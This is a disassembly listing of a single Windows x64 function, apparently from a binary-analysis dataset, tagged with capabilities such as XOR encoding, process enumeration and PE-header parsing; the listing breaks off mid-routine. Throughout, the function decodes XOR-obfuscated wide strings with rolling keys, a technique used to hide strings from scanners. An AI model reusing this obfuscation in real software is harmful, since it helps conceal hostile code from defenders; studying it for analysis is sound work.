Function at 0x140023a60
Capabilities:
Check if file exists
Encode data using xor
Enumerate processes
Get file attributes
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x7d0
vmovaps xmmword [rax - 0x28], xmm6
vmovaps xmmword [rax - 0x38], xmm7
vmovaps xmmword [rax - 0x48], xmm8
vmovaps xmmword [rax - 0x58], xmm9
mov rax, qword [0x1401561c0]
xor rax, rsp
mov qword [rsp + 0x780], rax
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups xmmword [rsp + 0x528], xmm0
mov qword [rsp + 0x538], rax
vmovups ymm1, ymmword [0x140137a50]
vmovups ymmword [rsp + 0x20], ymm1
vmovups ymm0, ymmword [0x140137a70]
vmovups ymmword [rsp + 0x40], ymm0
mov edx, dword [0x140137a90]
mov dword [rsp + 0x60], edx
movzx ecx, word [0x140137a94]
mov ebx, 0x43
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], bx
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vmovd eax, xmm0
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
xor word [rsp + 0x44], 0x4b
xor word [rsp + 0x46], 0x4c
xor word [rsp + 0x48], 0x4d
xor word [rsp + 0x4a], 0x4e
xor word [rsp + 0x4c], 0x4f
xor word [rsp + 0x4e], 0x50
xor word [rsp + 0x50], 0x51
xor word [rsp + 0x52], 0x52
xor word [rsp + 0x54], 0x53
xor word [rsp + 0x56], 0x54
xor word [rsp + 0x58], 0x55
xor word [rsp + 0x5a], 0x56
xor word [rsp + 0x5c], 0x57
xor word [rsp + 0x5e], 0x58
xor dx, 0x59
mov word [rsp + 0x60], dx
xor word [rsp + 0x62], 0x5a
xor cx, 0x5b
mov word [rsp + 0x64], cx
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x70], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x80], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140023bf0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x70]
vzeroupper
call fcn.140036bc0
nop
vmovups ymm0, ymmword [0x140136898]
vmovups ymmword [rsp + 0x20], ymm0
vmovups xmm1, xmmword [0x1401368b8]
vmovups xmmword [rsp + 0x40], xmm1
vmovsd xmm0, qword [0x1401368c8]
vmovsd qword [rsp + 0x50], xmm0
mov edx, dword [0x1401368d0]
mov dword [rsp + 0x58], edx
movzx ecx, word [0x1401368d4]
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vmovd eax, xmm1
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
xor word [rsp + 0x44], 0x4b
xor word [rsp + 0x46], 0x4c
xor word [rsp + 0x48], 0x4d
xor word [rsp + 0x4a], 0x4e
xor word [rsp + 0x4c], 0x4f
xor word [rsp + 0x4e], 0x50
xor word [rsp + 0x50], 0x51
xor word [rsp + 0x52], 0x52
xor word [rsp + 0x54], 0x53
xor word [rsp + 0x56], 0x54
xor dx, 0x55
mov word [rsp + 0x58], dx
xor word [rsp + 0x5a], 0x56
xor cx, 0x57
mov word [rsp + 0x5c], cx
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x90], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xa0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140023d35
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x90]
vzeroupper
call fcn.140036bc0
nop
vmovups ymm0, ymmword [0x1401377c0]
vmovups ymmword [rsp + 0x20], ymm0
vmovups ymm1, ymmword [0x1401377e0]
vmovups ymmword [rsp + 0x40], ymm1
movzx ecx, word [0x140137800]
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vmovd eax, xmm1
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
xor word [rsp + 0x44], 0x4b
xor word [rsp + 0x46], 0x4c
xor word [rsp + 0x48], 0x4d
xor word [rsp + 0x4a], 0x4e
xor word [rsp + 0x4c], 0x4f
xor word [rsp + 0x4e], 0x50
xor word [rsp + 0x50], 0x51
xor word [rsp + 0x52], 0x52
xor word [rsp + 0x54], 0x53
xor word [rsp + 0x56], 0x54
xor word [rsp + 0x58], 0x55
xor word [rsp + 0x5a], 0x56
xor word [rsp + 0x5c], 0x57
xor word [rsp + 0x5e], 0x58
xor cx, 0x59
mov word [rsp + 0x60], cx
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xb0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xc0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140023e70
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xb0]
vzeroupper
call fcn.140036bc0
nop
vmovups ymm0, ymmword [0x140137c30]
vmovups ymmword [rsp + 0x20], ymm0
vmovups ymm1, ymmword [0x140137c50]
vmovups ymmword [rsp + 0x40], ymm1
mov ecx, dword [0x140137c70]
mov dword [rsp + 0x60], ecx
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vmovd eax, xmm1
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
xor word [rsp + 0x44], 0x4b
xor word [rsp + 0x46], 0x4c
xor word [rsp + 0x48], 0x4d
xor word [rsp + 0x4a], 0x4e
xor word [rsp + 0x4c], 0x4f
xor word [rsp + 0x4e], 0x50
xor word [rsp + 0x50], 0x51
xor word [rsp + 0x52], 0x52
xor word [rsp + 0x54], 0x53
xor word [rsp + 0x56], 0x54
xor word [rsp + 0x58], 0x55
xor word [rsp + 0x5a], 0x56
xor word [rsp + 0x5c], 0x57
xor word [rsp + 0x5e], 0x58
xor cx, 0x59
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x5a
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xd0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xe0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140023fb2
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xd0]
vzeroupper
call fcn.140036bc0
nop
vmovups ymm0, ymmword [0x140137828]
vmovups ymmword [rsp + 0x20], ymm0
vmovups xmm1, xmmword [0x140137848]
vmovups xmmword [rsp + 0x40], xmm1
vmovsd xmm0, qword [0x140137858]
vmovsd qword [rsp + 0x50], xmm0
mov edx, dword [0x140137860]
mov dword [rsp + 0x58], edx
movzx ecx, word [0x140137864]
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vmovd eax, xmm1
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
xor word [rsp + 0x44], 0x4b
xor word [rsp + 0x46], 0x4c
xor word [rsp + 0x48], 0x4d
xor word [rsp + 0x4a], 0x4e
xor word [rsp + 0x4c], 0x4f
xor word [rsp + 0x4e], 0x50
xor word [rsp + 0x50], 0x51
xor word [rsp + 0x52], 0x52
xor word [rsp + 0x54], 0x53
xor word [rsp + 0x56], 0x54
xor dx, 0x55
mov word [rsp + 0x58], dx
xor word [rsp + 0x5a], 0x56
xor cx, 0x57
mov word [rsp + 0x5c], cx
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xf0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x100], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024100
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xf0]
vzeroupper
call fcn.140036bc0
nop
vmovups ymm0, ymmword [0x140137270]
vmovups ymmword [rsp + 0x20], ymm0
vmovups ymm1, ymmword [0x140137290]
vmovups ymmword [rsp + 0x40], ymm1
vmovsd xmm0, qword [0x1401372b0]
vmovsd qword [rsp + 0x60], xmm0
mov edx, dword [0x1401372b8]
mov dword [rsp + 0x68], edx
movzx ecx, word [0x1401372bc]
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vmovd eax, xmm1
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
xor word [rsp + 0x44], 0x4b
xor word [rsp + 0x46], 0x4c
xor word [rsp + 0x48], 0x4d
xor word [rsp + 0x4a], 0x4e
xor word [rsp + 0x4c], 0x4f
xor word [rsp + 0x4e], 0x50
xor word [rsp + 0x50], 0x51
xor word [rsp + 0x52], 0x52
xor word [rsp + 0x54], 0x53
xor word [rsp + 0x56], 0x54
xor word [rsp + 0x58], 0x55
xor word [rsp + 0x5a], 0x56
xor word [rsp + 0x5c], 0x57
xor word [rsp + 0x5e], 0x58
xor word [rsp + 0x60], 0x59
xor word [rsp + 0x62], 0x5a
xor word [rsp + 0x64], 0x5b
xor word [rsp + 0x66], 0x5c
xor dx, 0x5d
mov word [rsp + 0x68], dx
xor word [rsp + 0x6a], 0x5e
xor cx, 0x5f
mov word [rsp + 0x6c], cx
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x110], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x120], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024280
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x110]
vzeroupper
call fcn.140036bc0
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x528]
call fcn.14002e1e0
nop
lea r9, [fcn.1400052a0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1a]
lea rcx, [rsp + 0x70]
call fcn.140112a18
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups xmmword [rsp + 0x510], xmm0
mov qword [rsp + 0x520], rax
vmovups xmm1, xmmword [0x1401367a8]
vmovups xmmword [rsp + 0x20], xmm1
vmovsd xmm0, qword [0x1401367b8]
vmovsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1401367c0]
mov esi, 0x76
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor ax, 0x45
mov word [rsp + 0x38], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x130], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x140], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400243a0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.OWL_O_K2__m_G]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140136888]
vmovsd qword [rsp + 0x30], xmm0
mov ecx, dword [0x140136890]
mov dword [rsp + 0x38], ecx
movzx eax, word [0x140136894]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor cx, 0x45
mov word [rsp + 0x38], cx
xor word [rsp + 0x3a], 0x46
xor ax, 0x47
mov word [rsp + 0x3c], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x150], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x160], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140024470
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x150]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.OWL_O_J3_0m_G]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140137818]
vmovsd qword [rsp + 0x30], xmm0
mov ecx, dword [0x140137820]
mov dword [rsp + 0x38], ecx
movzx eax, word [0x140137824]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor cx, 0x45
mov word [rsp + 0x38], cx
xor word [rsp + 0x3a], 0x46
xor ax, 0x47
mov word [rsp + 0x3c], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x170], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x180], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140024540
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x170]
call fcn.140036bc0
nop
vmovups xmm9, xmmword [str.__PYS_Kn_:D]
vmovups xmmword [rsp + 0x20], xmm9
vmovsd xmm0, qword [0x140137b08]
vmovsd qword [rsp + 0x30], xmm0
mov ebx, 8
cmp word [0x140137b0e], 0
je 0x140024696
vmovdqu xmm6, xmmword [0x14013c260]
vmovdqu xmm5, xmmword [0x14013c190]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm0, xmm3, xmmword [0x14013c270]
vpaddw xmm2, xmm0, xmmword [str.99999999]
vmovq xmm0, xmm9
vpxor xmm2, xmm2, xmm0
vmovq qword [rsp + 0x20], xmm2
vmovdqu xmm5, xmmword [0x14013c1b0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm0, xmm3, xmmword [0x14013c270]
vpaddw xmm4, xmm0, xmmword [str.99999999]
vmovq xmm2, qword [rsp + 0x28]
vpxor xmm1, xmm4, xmm2
vmovq qword [rsp + 0x28], xmm1
mov r8d, ebx
lea r9, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140024660
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x190], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x1a0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400246c0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x190]
call fcn.140036bc0
nop
vmovups xmm9, xmmword [str._OVL_On_:D]
vmovups xmmword [rsp + 0x20], xmm9
vmovsd xmm0, qword [0x1401379e8]
vmovsd qword [rsp + 0x30], xmm0
cmp word [0x1401379ee], 0
je 0x140024816
vmovdqu xmm6, xmmword [0x14013c260]
vmovdqu xmm8, xmmword [str.99999999]
vmovdqu xmm5, xmmword [0x14013c190]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm0, xmm9
vpxor xmm2, xmm2, xmm0
vmovq qword [rsp + 0x20], xmm2
vmovdqu xmm5, xmmword [0x14013c1b0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm1, qword [rsp + 0x28]
vpxor xmm2, xmm2, xmm1
vmovq qword [rsp + 0x28], xmm2
mov r8d, ebx
lea r9, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x1400247e0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1b0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x1c0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024840
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x1b0]
call fcn.140036bc0
nop
vmovups ymm0, ymmword [str.QNOLY__5_60_i_1_K]
vmovups ymmword [rsp + 0x20], ymm0
mov ecx, dword [0x140137a18]
mov dword [rsp + 0x40], ecx
movzx eax, word [0x140137a1c]
mov edx, 0x68
mov word [rsp + 0x20], dx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
xor cx, 0x49
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x4a
xor ax, 0x4b
mov word [rsp + 0x44], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1d0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x1e0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140024920
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x1d0]
vzeroupper
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.NSIYNV2l__F]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x1401371f0]
vmovsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1401371f8]
mov dword [rsp + 0x38], eax
cmp word [0x1401371fa], 0
je 0x1400249c9
mov eax, 0x77
mov word [rsp + 0x20], ax
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1f0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x200], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400249f0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x1f0]
call fcn.140036bc0
nop
vmovups xmm9, xmmword [str._S_XQ_Mn_:D]
vmovups xmmword [rsp + 0x20], xmm9
vmovsd xmm0, qword [0x140136c60]
vmovsd qword [rsp + 0x30], xmm0
cmp word [0x140136c66], 0
je 0x140024b46
vmovdqu xmm6, xmmword [0x14013c260]
vmovdqu xmm8, xmmword [str.99999999]
vmovdqu xmm5, xmmword [0x14013c190]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm0, xmm9
vpxor xmm2, xmm2, xmm0
vmovq qword [rsp + 0x20], xmm2
vmovdqu xmm5, xmmword [0x14013c1b0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm1, qword [rsp + 0x28]
vpxor xmm2, xmm2, xmm1
vmovq qword [rsp + 0x28], xmm2
mov r8d, ebx
lea r9, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140024b10
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x210], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x220], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024b70
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x210]
call fcn.140036bc0
nop
vmovups ymm0, ymmword [str.OXTDN_M6__j___H]
vmovups ymmword [rsp + 0x20], ymm0
vextractf128 xmm0, ymm0, 1
vpextrw eax, xmm0, 7
test ax, ax
je 0x140024c0b
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x230], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x240], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140024c31
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x230]
vzeroupper
call fcn.140036bc0
nop
vmovups xmm9, xmmword [0x140137700]
vmovups xmmword [rsp + 0x20], xmm9
vmovsd xmm0, qword [0x140137710]
vmovsd qword [rsp + 0x30], xmm0
cmp word [0x140137716], 0
je 0x140024d86
vmovdqu xmm6, xmmword [0x14013c260]
vmovdqu xmm8, xmmword [str.99999999]
vmovdqu xmm5, xmmword [0x14013c190]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm0, xmm9
